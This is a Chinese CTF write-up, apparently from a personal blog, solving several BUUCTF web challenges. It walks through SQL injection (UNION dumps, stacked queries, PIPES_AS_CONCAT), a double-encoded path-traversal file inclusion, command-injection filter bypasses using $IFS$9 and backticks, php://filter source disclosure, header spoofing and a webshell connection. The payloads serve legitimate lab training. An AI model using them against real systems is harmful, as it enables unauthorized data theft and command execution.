文章目录
前言
文章同步于我的个人博客https://quan9i.top/buuctf1/,欢迎大家访问
想找点不一样的题看看,因此来刷了几道buu的题,并记录如下
[极客大挑战 2019]EasySQL
进入靶场,发现是登录的这种
首先看能不能注入
1'
1
执行结果
这说明是字符型注入,且包裹方式为单引号包裹,这里其实就不用再做了,万能一句一注就好了
1'or 1=1 #
1
当然,常规办法肯定可行,流程依据是判断字段数,爆库,爆列名,爆字段,但这个题设置的很简单,在获取数据库时就会爆出flag,具体过程不再演示。
[HCTF 2018]WarmUp
进入靶场
这时候就一个表情,看啥呢,当然是看源码
访问注释的文件
<?php
highlight_file(__FILE__);//语法高亮
class emmm //定义一个类
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];// 声明白名单数组
if (! isset($page) || !is_string($page)) { //如果page没被定义或不是字符串
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { //如果变量page在白名单中
return true;
}
$_page = mb_substr( //从最开始开始截取$page,截取到'?'前,但它后面在最后拼接了个?,其实这就是原样,只是换了个变量名
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) { //如果变量在白名单中,返回true
return true;
}
$_page = urldecode($page); //将变量page进行url解码赋值给变量_page
$_page = mb_substr( //截取?前的赋给变量_page
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) { //如果在白名单中,返回true
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) 如果变量file非空且为字符串且符号上面的那些要求
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file']; #include 变量file
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
此时一大波代码映入眼帘,发现还有一个文件hint.php,访问一下
看这个样子应该是给出了flag所在的文件名
emmm,然后就开始分析代码吧(我在下介绍一下用到的函数)
可以发现定义的那个类需要都满足true,才能往下继续进行,所以从上往下看,
第一个if语句要求非空且为字符串,这个比较容易,
再看第二个if语句,这个想要能正确执行的话,我们只能输入file=source.php
或者file=hint.php
,不过这个执行失败进行的是截取,而不是返回false,因此我们不用管这个就行,
第三个if语句也是如此,不过他在失败后是先对变量进行了url解码然后再截取,然后检测是否还在白名单中,
再看第四个,第四个if是匹配白名单的,如果在白名单中才会返回true,而我们需要返回结果为true,因此我们需要让第四个执行正确,也就是说我们需要此时的语句在白名单中,那我们倒推一下,此时payload为source.php
在往上看,截取之前就是source.php?xxxx
,再往上发现有一次解码,说明我们在这里对?进行一次编码,才能往下得到?,因此payload就是source.php%3fxxxxx
,我们知道服务器端自动解码一次,所以我们需要再编码一次,payload如下方
?file=source.php?%253fxxxx
//%253f是二次编码后的?
当然我们也可以直接在source后直接加上?xxxx
,这样?就会被截取,返回的最终结果也是true
科普一个小知识
. .表示当前目录的上一级目录。
. ./表示当前目录下的某个文件或文件夹,视后面跟着的名字而定
此时我们想起来hint中的注释,我们在这里直接通过…/来查找flag,构造最终payload如下
?file=source.php?%253f/../../../../ffffllllaaaagggg
或
?file=source.php?/../../../../ffffllllaaaagggg
部分函数介绍
my_substr
:截取函数,类似于substr,示例如下
<?php
echo mb_substr("菜鸟教程", 0, 2);
// 输出:菜鸟
?>
my_strpos(被查字符串,寻找的字符串,起始位置)
:函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。示例如下
<?php
echo strpos("Hello world!","world");//输出为6,之所以不是7是因为字符串第一位为0而不是1
?>
in_array
:搜索数组中是否存在指定的值。示例如下
<?php
$people = array("Bill", "Steve", "Mark", "David");
if (in_array("Mark", $people))
{
echo "匹配已找到";
}
else
{
echo "匹配未找到";
}
?>
[GXYCTF2019]Ping Ping Ping
进入后提示了变量名为id,我们先ping本地,发现正常,尝试用管道符+ls查看文件
?ip=1|ls
发现flag.php,尝试以获取flag
?ip=1|cat flag.php
看这个语句,大致是过滤了空格的意思,在这里我们采用
$IFS$9
绕过
?ip=1|cat$IFS$9flag.php
emmm,好像flag也给过滤了,那我们先查看另一个文件
?ip=1|cat$IFS$9index.php
可以发现过滤了很多,本来我想用include包含一个文件再查看flag实现绕过,但[]也被绕过了,没办法只好学习一下其他师傅的绕过姿势
方法一
利用ls和特殊符号`,这时候执行的语句就是tac查当前目录下的文件(cat文件的话需要看注释才能获取),构造payload如下
?ip=1|tac$IFS$9`ls`
方法二
变量覆盖,设置一个变量a,另其等于g,这样就可以用fla$a来替代flag,构造payload如下
?ip=1;a=g;tac$IFS$1fla$a.php
[极客大挑战 2019]Secret File
界面没有什么东西,查源码
发现文件,点击查看
有用的仍然只有一个文件链接,查看
发现没了,此时我也是一头雾水,但回过头来看,中间那个文件给的明明是/action.php,却跳转到了end.php,说明文件被重定向了,用bp抓action.php文件的包
访问该文件
查看一下flag.php
不存在flag,回去看php文件,发现它过滤了input,data,想起来伪协议,还有一个filter没被过滤,构造payload如下
?file=php://filter/read=convert.base64-encode/resource=flag.php
执行结果
base64解码后
解题完成
[极客大挑战 2019]LoveSQL
进入靶场
发现是用户名登陆这种,判断注入类型
1'
1
呃,单引号包裹的,尝试万能语句
1' or 1=1#
1
emm,这个很狗,应该是把sql语句改了,那只能按常规办法来了
判断字段数
1' order by 4#
字段数为3
联合查询看哪个有回显
-1'union select 1,2,3#
查库
-1'union select 1,2,database()#
查表
-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#
查列
-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
查字段信息
-1'union select 1,2,group_concat(password) from l0ve1ysq1 #
解题完成
[极客大挑战 2019]Http
进入靶场
没有找到什么可用信息,查看源码
发现一个隐藏文件,访问一下
提示不是来自这个网址的,http中有一个Referer
,在这里简单科普一下
Referer是HTTP请求header的一部分
Referer字段实际上告诉了服务器,用户在访问当前资源之前的位置。这往往可以用来用户跟踪。
因此我们可以指定Referer为这个网址,利用hackbar插件或者bp都可以
此时提示用 Syclover来浏览,修改UA,科普一下
User-Agent 即用户代理,简称“UA”,它是一个特殊字符串头。网站服务器通过识别 “UA”来确定用户
所使用的操作系统版本、CPU 类型、浏览器版本等信息。而网站服务器则通过判断 UA 来给客户端发送
不同的页面。
此时提示只能本地访问,我们可以用xff伪造本机回环地址,科普一下
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始
的IP地址的HTTP请求头字段
得到flag,解题完成
[极客大挑战 2019]Knife
长得真像一句话木马,还丢菜刀,一看就是让用菜刀来获取webshell,哎,我偏不用菜刀,用蚁剑,就是玩
以Syc作为密码进行连接
在根目录下找到flag
解题完成
[SUCTF 2019]EasySQL
进入靶场
发现这种模式有点像堆叠注入,不确定,先用fuzz查一下有没有过滤掉的函数,具体操作如下
用bp抓包,发送到爆破模块,清除变量,在给query后添加一个变量
在payloads中使用bp的fuzz字典进行爆破,或者使用自己的
跑完后发现数据分三种
第一种是没有任何回显的,说明应该是没被过滤的
第二种返回了nonono,这种应该是被过滤掉了
第三种是返回了数据,这个也不知道有啥用,先记着
此时我们所用的方法不多,select被过滤了,联合查询没法用,报错注入用的函数也被过滤了,尝试一下堆叠注入
1;show databases;
可行,emm,那继续注,查表
1;show tables;
OHHHHHH,Flag表,那是不是flag就在这里呢,尝试查看一下
1;select flag from Flag;
emmm,果然,不会让我们这么轻易的得到flag,flag被过滤了
此时再看一下最上面,他说输入flag,它来判断对不对,那他肯定是从有flag的表中查的,再看我们刚刚获取的表,那不就是Flag,那他后端sql语句此时肯定就是一个select flag from Flag
这样子,但是还要检测我们的数据,那它肯定是select post[xxx]
这样子,再把这俩结合一下,肯定不能用&&,那还剩的就是||,因此后端语句就是select post[xxx] || flag from Flag
,知道后端语句的话,那解题不就易如反掌,方法有以下两种
方法一
sql中有一种方法可以使||变成拼接符,如下
set sql_mode=PIPES_AS_CONCAT;
因此我们可以构造payload如下
1;set sql_mode=PIPES_AS_CONCAT;select 1
后端的语句就是
select 3;set sql_mode=PIPES_AS_CONCAT;||select 3flag from Flag
//字母前面的数字没啥影响,会跟着回显到界面上
执行结果
方法二
构造payload如下
*,1
此时后端语句就是
select *,1||flag from Flag
,用于查询多个数据
第一个select *就可以查出来flag
第二个1||flag 执行结果为1
执行结果
解题完成